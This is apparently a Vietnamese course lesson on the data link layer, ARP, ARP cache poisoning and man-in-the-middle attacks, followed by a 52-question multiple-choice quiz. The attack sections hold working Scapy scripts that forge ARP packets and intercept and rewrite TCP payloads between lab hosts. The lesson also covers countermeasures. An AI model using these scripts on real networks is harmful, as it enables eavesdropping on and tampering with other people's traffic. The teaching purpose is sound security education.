Bài 7: Data Link Layer và Các Tấn Công


Data Link Layer (Tầng liên kết dữ liệu) là tầng thứ hai trong mô hình OSI, nằm giữa Physical Layer và Network Layer. Tầng này chịu trách nhiệm truyền dữ liệu giữa hai thiết bị kết nối trực tiếp với nhau trên cùng một mạng cục bộ (LAN).

Phía gửi:

  • Đóng gói datagram (từ tầng Network) vào trong một frame
  • Thêm các bit kiểm tra lỗi (error checking bits)
  • Quản lý truyền dữ liệu tin cậy và kiểm soát luồng

Phía nhận:

  • Kiểm tra lỗi, quản lý truyền tin cậy và kiểm soát luồng
  • Giải nén datagram và chuyển lên tầng Network phía trên
sending side:                          receiving side:
  application                            application
  transport                              transport
  network                                network
  [link]   <--- truyền qua đây --->      [link]
  physical                               physical

1.2 Địa chỉ MAC

Địa chỉ MAC (Media Access Control) còn được gọi là LAN address, physical address, hoặc Ethernet address. Đây là địa chỉ dùng ở tầng Data Link để xác định một giao tiếp mạng (network interface).

Đặc điểm:

  • Dài 48 bit, thường biểu diễn dưới dạng thập lục phân, ví dụ: 1A-2F-BB-76-09-AD
  • Được ghi sẵn vào ROM của card mạng (NIC) bởi nhà sản xuất (có thể thay đổi bằng phần mềm)
  • Quản lý bởi IEEE: mỗi nhà sản xuất được cấp một phần không gian địa chỉ để đảm bảo tính duy nhất
  • Flat address (địa chỉ phẳng): có thể di chuyển card mạng từ LAN này sang LAN khác mà không cần thay đổi địa chỉ

So sánh MAC và IP:

Đặc điểmĐịa chỉ MACĐịa chỉ IP
Độ dài48 bit32 bit (IPv4)
TầngData Link (L2)Network (L3)
Phạm viCục bộ (trong LAN)Toàn cầu
Tính di độngCố định theo thiết bịPhụ thuộc subnet
Phép ẩn dụSố chứng minh thưĐịa chỉ nhà

1.3 Vấn đề bảo mật liên quan đến MAC

Vì địa chỉ MAC là duy nhất và gắn với phần cứng, nó có thể bị lợi dụng để theo dõi vị trí người dùng:

  • Khi thiết bị tìm kiếm mạng Wi-Fi, nó phát quảng bá địa chỉ MAC của mình
  • Các Access Point (AP) có thể ghi nhớ MAC và theo dõi hành trình của bạn

Giải pháp: MAC Address Randomization — iOS 8 trở đi và các hệ điều hành hiện đại sử dụng địa chỉ MAC ngẫu nhiên (phần mềm tạo ra) khi quét Wi-Fi, thay vì dùng địa chỉ MAC thật. Đây là sự đánh đổi giữa hiệu năngquyền riêng tư.

1.4 Ethernet Frame

Ethernet frame (theo chuẩn IEEE 802.3) có cấu trúc:

+------------------+------------------+----------+------------------------+-------------+
| Destination MAC  |   Source MAC     | EtherType |        Payload         |  CRC Check  |
|    (6 bytes)     |    (6 bytes)     | (2 bytes)  |    (46–1500 bytes)    |  (4 bytes)  |
+------------------+------------------+----------+------------------------+-------------+
|<-------------- MAC Header (14 bytes) ---------->|
|<-------------------------------- Ethernet Frame (64 – 1518 bytes) --------------------->|

Các giá trị EtherType phổ biến:

  • 0x0800: IPv4
  • 0x0806: ARP

2. Giao thức ARP

2.1 ARP là gì?

ARP (Address Resolution Protocol) là giao thức dùng để ánh xạ địa chỉ tầng Network (IP) sang địa chỉ tầng Data Link (MAC).

Vấn đề đặt ra: Khi máy A muốn gửi gói tin đến máy B trong cùng LAN, A biết địa chỉ IP của B nhưng không biết địa chỉ MAC của B. Để đóng gói frame Ethernet, A cần biết MAC của B. ARP giải quyết bài toán này.

2.2 ARP Cache (ARP Table)

Mỗi node trong mạng (host, router) duy trì một ARP cache (bảng ARP), lưu trữ các ánh xạ IP → MAC đã biết.

Cấu trúc mỗi entry: <IP address, MAC address, TTL>

  • TTL (Time To Live): Thời gian tồn tại của entry, thường là 20 phút. Sau khi hết hạn, entry bị xóa và ARP sẽ hỏi lại nếu cần.

Lệnh Linux để quản lý ARP cache:

# Xem ARP cache
arp -n

# Xóa một entry trong ARP cache
arp -d <IP_address>

2.3 Hoạt động của ARP

Quy trình ARP gồm 3 bước:

sequenceDiagram participant A as Máy A (137.196.7.23) participant LAN as Toàn bộ LAN participant B as Máy B (137.196.7.14) Note over A: Muốn gửi đến B nhưng chưa biết MAC của B A->>LAN: ARP Request (Broadcast FF:FF:FF:FF:FF:FF)
Ai có IP 137.196.7.14? Hãy cho tôi biết MAC B->>A: ARP Reply (Unicast)
137.196.7.14 là tôi, MAC của tôi: 58-23-D7-FA-20-B0 Note over A: Cập nhật ARP cache:
137.196.7.14 → 58-23-D7-FA-20-B0

Bước 1 - ARP Request (Broadcast):

  • A gửi ARP Request đến địa chỉ broadcast FF-FF-FF-FF-FF-FF
  • Tất cả các node trong LAN đều nhận được
  • Nội dung: “Ai có IP 137.196.7.14? Hãy báo cho 137.196.7.23

Bước 2 - ARP Reply (Unicast):

  • B nhận ARP Request, nhận ra đây là hỏi về mình
  • B gửi ARP Reply trực tiếp về A
  • Nội dung: “IP 137.196.7.14 tương ứng với MAC 58-23-D7-FA-20-B0

Bước 3 - Cập nhật ARP Cache:

  • A nhận ARP Reply từ B
  • A thêm entry 137.196.7.14 → 58-23-D7-FA-20-B0 vào ARP cache với TTL 20 phút

2.4 Routing qua nhiều subnet

Khi gửi gói tin từ A (subnet 1) đến B (subnet 2) qua router R:

sequenceDiagram participant A as A (111.111.111.111) participant R as Router R participant B as B (222.222.222.222) Note over A: Tạo IP datagram: src=A_IP, dst=B_IP Note over A: Frame: src=MAC_A, dst=MAC_R (!) A->>R: Frame (MAC: A→R, IP: A→B) Note over R: Nhận frame, giải nén IP datagram Note over R: Tạo frame mới: src=MAC_R, dst=MAC_B R->>B: Frame (MAC: R→B, IP: A→B) Note over B: Nhận frame, giải nén IP datagram

2.5 ARP là giao thức Stateless

ARP là stateless protocol: không lưu trạng thái kết nối. Khi nhận một ARP reply, node sẽ cập nhật cache ngay lập tức mà không cần xác minh xem mình có gửi ARP request trước đó không. Đây chính là điểm yếu cốt lõi dẫn đến các cuộc tấn công.


3. Tấn công ARP Cache Poisoning

3.1 Ý tưởng tấn công

Vì ARP là statelesskhông có cơ chế xác thực, kẻ tấn công có thể gửi các ARP message giả mạo (spoofed) để cập nhật sai ARP cache của nạn nhân.

3 loại ARP message có thể bị giả mạo:

  1. ARP Request — Khi nạn nhân nhận ARP request, dù có hay không có entry tương ứng, nó sẽ tự động cập nhật cache từ thông tin trong request.
  2. ARP Reply — Khi nạn nhân nhận ARP reply, nếu đã có entry trong cache, nó sẽ cập nhật lại. Nếu chưa có entry, reply thường bị bỏ qua (tùy hệ điều hành).
  3. Gratuitous ARP — Là ARP request đặc biệt mà sender tự quảng bá về chính mình (src IP = target IP, gửi broadcast). Được dùng để cập nhật cache cho tất cả các node trong mạng.

3.2 Kỹ thuật dùng Scapy để giả mạo ARP

Scapy là thư viện Python mạnh mẽ cho phép tạo và gửi các gói tin mạng tùy ý.

Các trường cần quan tâm:

ls(Ether)
# dst   - MAC đích
# src   - MAC nguồn
# type  - EtherType (0x0806 cho ARP, 0x0800 cho IPv4)
ls(ARP)
# hwtype - Loại phần cứng (1 = Ethernet)
# ptype  - Loại giao thức (0x0800 = IPv4)
# hwlen  - Độ dài địa chỉ phần cứng (6 bytes)
# plen   - Độ dài địa chỉ giao thức (4 bytes)
# op     - Opcode: 1=request, 2=reply
# hwsrc  - MAC nguồn (sender)
# psrc   - IP nguồn (sender)
# hwdst  - MAC đích (target)
# pdst   - IP đích (target)

3.3 Code ví dụ giả mạo ARP

#!/usr/bin/python3
from scapy.all import *

VM_TARGET_IP  = "10.102.20.178"
VM_TARGET_MAC = "00:50:56:a8:1a:d3"
VICTIM_IP     = "10.102.20.177"
FAKE_MAC      = "aa:bb:cc:dd:ee:ff"

# Tạo Ethernet frame gửi unicast đến target
ether = Ether()
ether.dst = VM_TARGET_MAC   # Gửi thẳng đến target
ether.src = FAKE_MAC        # Giả MAC nguồn

# Tạo ARP packet
arp = ARP()
arp.psrc  = VICTIM_IP       # Giả vờ là victim
arp.hwsrc = FAKE_MAC        # Với MAC giả
arp.pdst  = VM_TARGET_IP    # Hỏi về target
# op mặc định = 1 (request)

frame = ether / arp
sendp(frame)

# Kết quả: ARP cache của target sẽ ghi:
# VICTIM_IP -> FAKE_MAC (sai!)
#!/usr/bin/python3
from scapy.all import *

VM_TARGET_IP  = "10.102.20.178"
VM_TARGET_MAC = "00:50:56:a8:1a:d3"
VICTIM_IP     = "10.102.20.177"
FAKE_MAC      = "22:bb:cc:dd:ee:ff"

ether = Ether()
ether.dst = VM_TARGET_MAC
ether.src = FAKE_MAC

arp = ARP()
arp.op    = 2               # Reply
arp.psrc  = VICTIM_IP
arp.hwsrc = FAKE_MAC
arp.pdst  = VM_TARGET_IP
arp.hwdst = VM_TARGET_MAC

frame = ether / arp
sendp(frame)
#!/usr/bin/python3
from scapy.all import *

VICTIM_IP  = "10.102.20.177"
FAKE_MAC   = "11:bb:cc:dd:ee:ff"

# Gratuitous ARP gửi broadcast
ether = Ether()
ether.dst = "ff:ff:ff:ff:ff:ff"  # Broadcast
ether.src = FAKE_MAC

arp = ARP()
arp.psrc  = VICTIM_IP
arp.hwsrc = FAKE_MAC
arp.pdst  = VICTIM_IP            # src = dst (đặc trưng của Gratuitous)
arp.hwdst = "ff:ff:ff:ff:ff:ff"

frame = ether / arp
sendp(frame)

3.4 Xử lý trường hợp nạn nhân chưa có cache entry

Nếu kẻ tấn công chỉ có thể gửi ARP Reply nhưng target chưa có entry trong cache, cần dùng thủ thuật:

  1. Kẻ tấn công gửi một spoofed ICMP echo request đến target, giả vờ là victim
  2. Target cần reply về victim → nó phải tra cứu MAC của victim → gửi ARP request về victim
  3. Victim trả lời ARP → target có entry hợp lệ trong cache
  4. Bây giờ kẻ tấn công gửi ARP Reply giả → target cập nhật lại cache với MAC sai

4. Tấn công Man-in-the-Middle (MITM)

4.1 Khái niệm MITM

Tấn công MITM xảy ra khi kẻ tấn công chèn mình vào giữa hai bên đang giao tiếp, có thể nghe lén hoặc sửa đổi dữ liệu mà không bị phát hiện.

sequenceDiagram participant Alice participant Micheal as Micheal (Attacker) participant Bob Alice->>Micheal: Gói tin gửi cho Bob Note over Micheal: Đọc / sửa đổi nội dung Micheal->>Bob: Gói tin (đã sửa hoặc giữ nguyên) Bob->>Micheal: Phản hồi gửi cho Alice Note over Micheal: Đọc / sửa đổi nội dung Micheal->>Alice: Phản hồi (đã sửa hoặc giữ nguyên)

Để MITM thành công, kẻ tấn công cần được “đặt vào giữa” luồng traffic. Các kỹ thuật để làm điều này:

TầngKỹ thuật
Data Link (L2)ARP Cache Poisoning
Network (L3)ICMP Redirect
Application (L7)DNS Cache Poisoning

4.2 MITM sử dụng ARP Cache Poisoning

Điều kiện tiên quyết: Kẻ tấn công M phải ở trong cùng mạng LAN với A và B.

Mục tiêu:

  • Đầu độc ARP cache của A: A nghĩ MAC của B là MAC_M
  • Đầu độc ARP cache của B: B nghĩ MAC của A là MAC_M
sequenceDiagram participant A as Alice (IP_A) participant M as Micheal/Attacker (IP_M, MAC_M) participant B as Bob (IP_B) Note over A: ARP cache bị đầu độc:
IP_B → MAC_M (sai) Note over B: ARP cache bị đầu độc:
IP_A → MAC_M (sai) A->>M: Frame: src=MAC_A, dst=MAC_M
IP: src=IP_A, dst=IP_B Note over M: M nhận được frame của A gửi B M->>B: Frame: src=MAC_M, dst=MAC_B
IP: src=IP_A, dst=IP_B B->>M: Frame: src=MAC_B, dst=MAC_M
IP: src=IP_B, dst=IP_A Note over M: M nhận được frame của B gửi A M->>A: Frame: src=MAC_M, dst=MAC_A
IP: src=IP_B, dst=IP_A

Khi A gửi gói tin đến B:

  • IP header vẫn là: src=IP_A, dst=IP_B (không thay đổi)
  • MAC header: src=MAC_A, dst=MAC_M (vì ARP cache của A đã bị đầu độc)
  • Frame đến M chứ không đến B!

4.3 Xử lý gói tin tại máy M

Khi M nhận được frame, có 2 trường hợp:

M sẽ tự động chuyển tiếp gói tin đến B. Đây là chế độ nghe lén thụ động (passive sniffing). Để chủ động sửa đổi, cần tắt IP forwarding.

M nhận gói tin nhưng drop nó (không forward). Để thực hiện MITM có sửa đổi nội dung, M cần:

  1. Bắt gói tin bằng raw socket
  2. Sửa đổi nội dung
  3. Tự tay gửi gói tin đã sửa đến đích thực sự
# Tắt IP forwarding trên Linux
echo 0 > /proc/sys/net/ipv4/ip_forward

# Bật IP forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward

4.4 Raw Socket để bắt gói tin

Để M có thể bắt các gói tin trước khi kernel drop chúng:

User Space
  ┌─────────────────────┐
  │  Chương trình sniffer│ ← Nhận bản sao từ raw socket
  └─────────────────────┘
Kernel Space
  ┌─────────────────────┐
  │   Protocol Stack    │
  │   Ring Buffer       │ ← Raw socket cho phép đọc từ đây
  │   Link-level driver │
  └─────────────────────┘
        Network

Mở raw socket = nói với kernel: “Trước khi anh drop packet, cho tôi một bản sao!”

4.5 Ví dụ MITM trên Netcat — Thay thế nội dung

Kịch bản: A (10.0.2.6) giao tiếp với B (10.0.2.7) qua netcat, M chặn và thay thế từ “kevin” bằng “AAAAA”:

#!/usr/bin/python3
from scapy.all import *

VM_A_IP = "10.0.2.6"
VM_B_IP = "10.0.2.7"

def spoof_pkt(pkt):
    if pkt[IP].src == VM_A_IP and pkt[IP].dst == VM_B_IP and pkt[TCP].payload:
        data = pkt[TCP].payload.load
        print("Captured: %s, length: %d" % (data, len(data)))

        # Tạo gói tin mới dựa trên gói cũ
        newpkt = IP(bytes(pkt[IP]))

        # Xóa checksum để Scapy tính lại
        del(newpkt.chksum)
        del(newpkt[TCP].payload)
        del(newpkt[TCP].chksum)

        # Thay thế nội dung
        newdata = data.replace(b'kevin', b'AAAAA')

        # Gửi gói tin đã sửa
        send(newpkt / newdata)

    elif pkt[IP].src == VM_B_IP and pkt[IP].dst == VM_A_IP:
        # Chiều ngược lại: forward thẳng không sửa
        newpkt = IP(bytes(pkt[IP]))
        send(newpkt)

# Sniff gói tin giữa A và B
sniff(filter="tcp", prn=spoof_pkt)

4.6 Ví dụ MITM trên Telnet

Sự khác biệt giữa Netcat và Telnet:

NetcatTelnet
Cách gửiGửi cả dòng khi nhấn EnterGửi từng ký tự một
EchoClient tự hiển thịServer echo lại từng ký tự
TCP packetNhiều ký tự trong 1 packetThường 1 ký tự / 1 packet
def spoof_pkt(pkt):
    if pkt[IP].src == VM_A_IP and pkt[IP].dst == VM_B_IP and pkt[TCP].payload:
        data = pkt[TCP].payload.load

        newpkt = IP(bytes(pkt[IP]))
        del(newpkt.chksum)
        del(newpkt[TCP].payload)
        del(newpkt[TCP].chksum)

        # Chuyển bytes thành list để xử lý từng ký tự
        data_list = list(data)

        # Thay thế mọi ký tự chữ cái bằng 'A'
        for i in range(len(data_list)):
            if chr(data_list[i]).isalpha():
                data_list[i] = ord('A')

        # Chuyển lại thành bytes
        newdata = bytes(data_list)
        send(newpkt / newdata)

5. Biện pháp đối phó

5.1 Hạn chế của ARP Cache Poisoning

Ví dụ minh họa: Nếu “hacker từ Nga” muốn tấn công mạng Nhà Trắng bằng ARP Cache Poisoning, điều đó là không thể vì họ không ở trong cùng mạng nội bộ với mục tiêu.

5.2 Biện pháp đối phó tốt nhất

Mã hóa (Encryption) là biện pháp đối phó hiệu quả nhất:

Ngay cả khi kẻ tấn công thành công thực hiện ARP Cache Poisoning và đặt mình vào giữa:

  • Nếu traffic được mã hóa (HTTPS, TLS, SSH, …), kẻ tấn công có thể thấy gói tin nhưng không thể đọc hoặc sửa đổi nội dung (vì không có key giải mã)
  • Điều duy nhất kẻ tấn công có thể làm là Denial of Service (DoS) — không forward gói tin, làm gián đoạn kết nối
graph TD A[ARP Cache Poisoning thành công] --> B{Traffic có được mã hóa?} B -->|Có - HTTPS/TLS/SSH| C[Kẻ tấn công chỉ thấy dữ liệu đã mã hóa] C --> D[Không thể đọc nội dung] C --> E[Không thể sửa đổi nội dung] C --> F[Chỉ có thể DoS - drop packets] B -->|Không - HTTP/Telnet/...| G[MITM hoàn toàn thành công] G --> H[Đọc được nội dung] G --> I[Sửa đổi được nội dung]

Các biện pháp khác:

  • Static ARP entries: Gán thủ công ARP entry tĩnh, không cho phép cập nhật động. Nhược điểm: khó quản lý trong mạng lớn.
  • Dynamic ARP Inspection (DAI): Switch kiểm tra ARP packet trước khi forward, chỉ cho phép ARP hợp lệ dựa trên bảng DHCP snooping binding.
  • VPN: Mã hóa toàn bộ traffic, ngay cả trong mạng nội bộ.

6. Câu hỏi ôn tập


Câu hỏi trắc nghiệm

Câu 1. Data Link Layer có chức năng chính là gì?

  • A. Định tuyến gói tin giữa các mạng khác nhau
  • B. Đóng gói datagram vào frame và truyền giữa hai giao tiếp kết nối trực tiếp
  • C. Thiết lập kết nối TCP giữa hai ứng dụng
  • D. Phân giải tên miền thành địa chỉ IP

Câu 2. Địa chỉ MAC có độ dài bao nhiêu bit?

  • A. 32 bit
  • B. 64 bit
  • C. 48 bit
  • D. 128 bit

Câu 3. Điểm khác biệt chính giữa địa chỉ MAC và địa chỉ IP là gì?

  • A. MAC dài hơn IP
  • B. MAC là địa chỉ phẳng (portable), IP phụ thuộc vào subnet
  • C. IP được ghi vào ROM phần cứng, MAC thì không
  • D. MAC dùng cho định tuyến giữa các mạng

Câu 4. EtherType 0x0806 trong Ethernet frame đại diện cho giao thức nào?

  • A. IPv4
  • B. IPv6
  • C. ARP
  • D. TCP

Câu 5. ARP (Address Resolution Protocol) dùng để làm gì?

  • A. Ánh xạ tên miền sang địa chỉ IP
  • B. Ánh xạ địa chỉ IP sang địa chỉ MAC
  • C. Ánh xạ địa chỉ MAC sang địa chỉ IP
  • D. Phân bổ địa chỉ IP tự động

Câu 6. ARP Cache lưu trữ thông tin gì?

  • A. Bảng định tuyến IP
  • B. Ánh xạ <IP address, MAC address, TTL>
  • C. Lịch sử kết nối TCP
  • D. Danh sách DNS records

Câu 7. TTL trong ARP cache thường có giá trị mặc định là bao nhiêu?

  • A. 5 phút
  • B. 10 phút
  • C. 20 phút
  • D. 60 phút

Câu 8. Lệnh nào trên Linux dùng để xem ARP cache?

  • A. netstat -a
  • B. ip route
  • C. arp -n
  • D. ifconfig -arp

Câu 9. Khi máy A gửi ARP Request, nó sẽ gửi đến địa chỉ MAC nào?

  • A. Địa chỉ MAC của router
  • B. Địa chỉ MAC của máy đích
  • C. FF-FF-FF-FF-FF-FF (broadcast)
  • D. Địa chỉ MAC của DNS server

Câu 10. ARP Reply được gửi theo phương thức nào?

  • A. Broadcast đến toàn bộ LAN
  • B. Unicast trực tiếp đến máy đã gửi request
  • C. Multicast đến một nhóm thiết bị
  • D. Anycast đến thiết bị gần nhất

Câu 11. Khi gói tin IP được truyền qua router từ subnet này sang subnet khác, phần nào thay đổi tại mỗi hop?

  • A. IP header (địa chỉ IP nguồn và đích)
  • B. MAC header (địa chỉ MAC nguồn và đích)
  • C. Cả IP header và MAC header
  • D. Không có phần nào thay đổi

Câu 12. Tại sao ARP là giao thức dễ bị tấn công?

  • A. Vì ARP dùng UDP thay vì TCP
  • B. Vì ARP là stateless và không có cơ chế xác thực
  • C. Vì ARP broadcast trên toàn Internet
  • D. Vì ARP chỉ hoạt động với IPv4

Câu 13. Gratuitous ARP là gì?

  • A. ARP request hỏi về MAC của một IP khác
  • B. ARP reply trả lời cho một request cụ thể
  • C. ARP packet mà sender tự quảng bá thông tin về chính mình (src IP = target IP, gửi broadcast)
  • D. ARP packet dùng để xóa cache

Câu 14. Trong tấn công ARP Cache Poisoning, sự khác biệt trong cách xử lý giữa ARP Request và ARP Reply/Gratuitous là gì?

  • A. ARP Request cập nhật cache, ARP Reply thì không
  • B. ARP Request được chấp nhận dù chưa có entry; ARP Reply/Gratuitous thường chỉ cập nhật khi đã có entry
  • C. Không có sự khác biệt
  • D. ARP Reply cập nhật cache, ARP Request thì không

Câu 15. Công cụ Scapy được dùng để làm gì trong bối cảnh tấn công mạng?

  • A. Quét cổng mạng
  • B. Tạo và gửi các gói tin mạng tùy ý bằng Python
  • C. Giải mã mật khẩu
  • D. Tấn công từ chối dịch vụ phân tán

Câu 16. Trong Scapy, trường op trong lớp ARP có giá trị nào tương ứng với ARP Reply?

  • A. 0
  • B. 1
  • C. 2
  • D. 3

Câu 17. Trong tấn công MITM dùng ARP Cache Poisoning, điều kiện tiên quyết là gì?

  • A. Kẻ tấn công phải có quyền admin trên máy nạn nhân
  • B. Kẻ tấn công phải ở trong cùng mạng LAN với nạn nhân
  • C. Kẻ tấn công phải biết mật khẩu của nạn nhân
  • D. Kẻ tấn công phải có địa chỉ IP công cộng

Câu 18. Khi M thực hiện MITM giữa A và B bằng ARP Cache Poisoning, ARP cache của A sẽ bị thay đổi như thế nào?

  • A. IP_A → MAC_M
  • B. IP_B → MAC_M
  • C. IP_M → MAC_B
  • D. IP_B → MAC_A

Câu 19. Nếu M cấu hình như host thông thường (không phải router), điều gì xảy ra khi M nhận frame gửi từ A đến B?

  • A. M tự động forward đến B
  • B. M drop gói tin (không forward)
  • C. M gửi ARP error về cho A
  • D. M broadcast gói tin ra toàn mạng

Câu 20. Raw socket được dùng để làm gì trong tấn công MITM?

  • A. Tạo kết nối TCP mã hóa
  • B. Nhận bản sao của tất cả gói tin trước khi kernel xử lý/drop
  • C. Gửi ARP broadcast
  • D. Phân giải DNS

Câu 21. Tại sao phải xóa trường checksum trước khi gửi gói tin đã sửa đổi bằng Scapy?

  • A. Để giảm kích thước gói tin
  • B. Vì checksum cũ không còn hợp lệ sau khi thay đổi payload; Scapy sẽ tự tính lại
  • C. Để bypass firewall
  • D. Vì Scapy không hỗ trợ checksum

Câu 22. Sự khác biệt cơ bản giữa Netcat và Telnet trong cách truyền dữ liệu là gì?

  • A. Netcat mã hóa dữ liệu, Telnet thì không
  • B. Netcat gửi cả dòng khi nhấn Enter; Telnet gửi từng ký tự một và server echo lại
  • C. Telnet gửi cả dòng; Netcat gửi từng ký tự
  • D. Không có sự khác biệt

Câu 23. Biện pháp đối phó hiệu quả nhất chống lại MITM attack là gì?

  • A. Dùng switch thay vì hub
  • B. Cấu hình static ARP entries
  • C. Mã hóa traffic (HTTPS, TLS, SSH)
  • D. Dùng địa chỉ IP tĩnh

Câu 24. Khi traffic bị mã hóa và kẻ tấn công MITM không có key, điều gì kẻ tấn công vẫn có thể làm?

  • A. Giải mã và đọc nội dung
  • B. Sửa đổi nội dung payload
  • C. Thực hiện Denial of Service (drop packets, gián đoạn kết nối)
  • D. Lấy được mật khẩu

Câu 25. IEEE quản lý việc phân bổ địa chỉ MAC như thế nào?

  • A. Mỗi người dùng tự chọn MAC address
  • B. IEEE cấp phát một phần không gian địa chỉ cho từng nhà sản xuất để đảm bảo tính duy nhất
  • C. MAC address được tạo ngẫu nhiên bởi hệ điều hành
  • D. MAC address được cấp bởi ISP

Câu 26. Địa chỉ MAC FF:FF:FF:FF:FF:FF có ý nghĩa gì?

  • A. Địa chỉ MAC không hợp lệ
  • B. Địa chỉ broadcast — gửi đến tất cả thiết bị trong LAN
  • C. Địa chỉ loopback
  • D. Địa chỉ của router mặc định

Câu 27. Dynamic ARP Inspection (DAI) hoạt động dựa trên cơ chế nào?

  • A. Mã hóa tất cả ARP packets
  • B. Kiểm tra ARP packet dựa trên bảng DHCP snooping binding trước khi forward
  • C. Chặn tất cả ARP traffic
  • D. Yêu cầu xác thực password cho mỗi ARP request

Câu 28. Trong Ethernet frame, trường nào dùng để phát hiện lỗi?

  • A. EtherType
  • B. Destination MAC
  • C. CRC Checksum (FCS)
  • D. Source MAC

Câu 29. Khi máy A muốn gửi gói tin đến máy B ở subnet khác, trong frame Ethernet, địa chỉ MAC đích sẽ là của ai?

  • A. Máy B
  • B. DNS server
  • C. Default gateway (router)
  • D. DHCP server

Câu 30. MAC Address Randomization trong iOS 8 giải quyết vấn đề gì?

  • A. Tăng tốc độ kết nối Wi-Fi
  • B. Ngăn việc Access Point theo dõi vị trí người dùng qua MAC address
  • C. Giảm nhiễu sóng Wi-Fi
  • D. Tự động kết nối mạng Wi-Fi tốt nhất

Câu 31. Trong Scapy, lệnh sendp() khác send() như thế nào?

  • A. sendp() gửi ở tầng Layer 3 (IP), send() gửi ở Layer 2 (Ethernet)
  • B. sendp() gửi ở tầng Layer 2 (Ethernet frame), send() gửi ở Layer 3 (IP packet)
  • C. Không có sự khác biệt
  • D. sendp() dùng TCP, send() dùng UDP

Câu 32. Tại sao kẻ tấn công từ xa (qua Internet) không thể thực hiện ARP Cache Poisoning?

  • A. Vì ARP request quá lớn để truyền qua Internet
  • B. Vì ARP packets không được định tuyến qua router — chỉ hoạt động trong LAN
  • C. Vì ARP được mã hóa trên Internet
  • D. Vì Internet không hỗ trợ ARP

Câu 33. DHCP được dùng để làm gì khi thiết bị kết nối vào mạng?

  • A. Phân giải tên miền
  • B. Cấp phát IP address, địa chỉ router và DNS server cho client
  • C. Xác thực người dùng
  • D. Mã hóa dữ liệu truyền

Câu 34. Trong ARP Poisoning Attack, trường psrc trong ARP packet giả mạo được đặt là gì?

  • A. IP của kẻ tấn công
  • B. IP của nạn nhân (giả vờ là nạn nhân)
  • C. IP broadcast
  • D. IP của router

Câu 35. Kỹ thuật nào giúp kẻ tấn công “kích hoạt” target để target tạo ARP entry cho victim, từ đó tấn công ARP Reply poisoning hoạt động?

  • A. Gửi ARP Request trực tiếp đến target
  • B. Gửi spoofed ICMP echo request đến target giả vờ là victim, khiến target phải ARP hỏi victim
  • C. Gửi TCP SYN đến target
  • D. Gửi UDP flood đến target

Câu 36. Để thực hiện MITM hoàn chỉnh giữa A và B, kẻ tấn công M cần đầu độc ARP cache của:

  • A. Chỉ A
  • B. Chỉ B
  • C. Cả A và B
  • D. Router

Câu 37. Lệnh echo 0 > /proc/sys/net/ipv4/ip_forward trên Linux có tác dụng gì?

  • A. Bật IP forwarding (cho phép máy hoạt động như router)
  • B. Tắt IP forwarding (máy drop các gói tin không dành cho mình)
  • C. Xóa ARP cache
  • D. Tắt network interface

Câu 38. Khi ping một địa chỉ IP không tồn tại trong cùng subnet, kết quả là gì?

  • A. Request timed out
  • B. Destination Host Unreachable (vì ARP không có ai trả lời)
  • C. Network Unreachable
  • D. Ping thành công (có reply giả)

Câu 39. Các tầng nào trong mô hình OSI có thể bị lợi dụng để thực hiện MITM attack?

  • A. Chỉ tầng Network
  • B. Chỉ tầng Application
  • C. Data Link (ARP poisoning), Network (ICMP Redirect), Application (DNS poisoning)
  • D. Chỉ tầng Transport

Câu 40. Trong Ethernet frame, kích thước tối đa của payload (data) là bao nhiêu bytes?

  • A. 64 bytes
  • B. 512 bytes
  • C. 1500 bytes
  • D. 9000 bytes

Câu 41. Thông tin gì không được lưu trong ARP cache?

  • A. Địa chỉ IP
  • B. Địa chỉ MAC
  • C. TTL
  • D. Số cổng (port number)

Câu 42. Tấn công ARP Cache Poisoning có thể được sử dụng để thực hiện loại tấn công nào ngoài MITM?

  • A. SQL Injection
  • B. Denial of Service (DoS) — chặn kết nối của nạn nhân
  • C. Brute force password
  • D. XSS (Cross-Site Scripting)

Câu 43. Trong quá trình bắt tay DHCP, DHCP Request được đóng gói như thế nào?

  • A. TCP → IP → Ethernet
  • B. UDP → IP → Ethernet (802.3)
  • C. ARP → Ethernet
  • D. Trực tiếp trong Ethernet frame không cần IP

Câu 44. Telnet khác SSH ở điểm gì liên quan đến bảo mật?

  • A. Telnet nhanh hơn SSH
  • B. Telnet truyền dữ liệu dạng plaintext, SSH mã hóa toàn bộ
  • C. SSH không hỗ trợ xác thực bằng password
  • D. Telnet sử dụng port 22, SSH sử dụng port 23

Câu 45. Trong mô hình OSI, ARP hoạt động giữa tầng nào?

  • A. Chỉ tầng Data Link
  • B. Chỉ tầng Network
  • C. Giao tiếp giữa tầng Network (IP) và tầng Data Link (MAC) — thường xếp vào L2/L3 boundary
  • D. Tầng Transport

Câu 46. Static ARP entry là gì và nhược điểm của nó là gì?

  • A. ARP entry tự động cập nhật mỗi giây; nhược điểm là tốn tài nguyên
  • B. ARP entry được gán thủ công, không thay đổi; nhược điểm là khó quản lý trong mạng lớn
  • C. ARP entry được mã hóa; nhược điểm là chậm
  • D. ARP entry lưu trên cloud; nhược điểm là phụ thuộc Internet

Câu 47. Khi M thực hiện MITM và sửa đổi nội dung gói tin, điều gì giúp B không phát hiện được (trong trường hợp không mã hóa)?

  • A. M gửi gói tin với IP nguồn là IP của A, không phải IP của M
  • B. M dùng VPN để ẩn danh
  • C. M thay đổi địa chỉ MAC của mình liên tục
  • D. M làm chậm kết nối để B không nhận ra

Câu 48. Trong Scapy, cú pháp / giữa các lớp có ý nghĩa gì?

  • A. Chia đôi packet
  • B. Stack (chồng) các lớp lên nhau để tạo packet hoàn chỉnh
  • C. So sánh hai packet
  • D. Gửi packet song song

Câu 49. Nếu kẻ tấn công M đầu độc ARP cache của router (thay vì A và B), hậu quả là gì?

  • A. Không có tác dụng
  • B. Toàn bộ traffic từ subnet qua router có thể bị chặn hoặc chuyển hướng đến M
  • C. Chỉ ảnh hưởng đến một máy cụ thể
  • D. Router sẽ tự động phục hồi ngay lập tức

Câu 50. Ngoài ARP Cache Poisoning, còn có kỹ thuật nào khác để thực hiện MITM ở tầng Network?

  • A. MAC flooding
  • B. ICMP Redirect
  • C. SYN flood
  • D. DHCP starvation

Câu 51. Trong ví dụ về DHCP, DHCP ACK chứa thông tin gì?

  • A. Chỉ địa chỉ IP của client
  • B. Địa chỉ IP của client, IP của first-hop router, tên và IP của DNS server
  • C. Địa chỉ MAC của router
  • D. Chỉ địa chỉ DNS server

Câu 52. Trong quá trình kết nối TCP 3-way handshake, thứ tự các bước là gì?

  • A. SYN → ACK → SYNACK
  • B. SYNACK → SYN → ACK
  • C. SYN → SYNACK → ACK
  • D. ACK → SYN → SYNACK

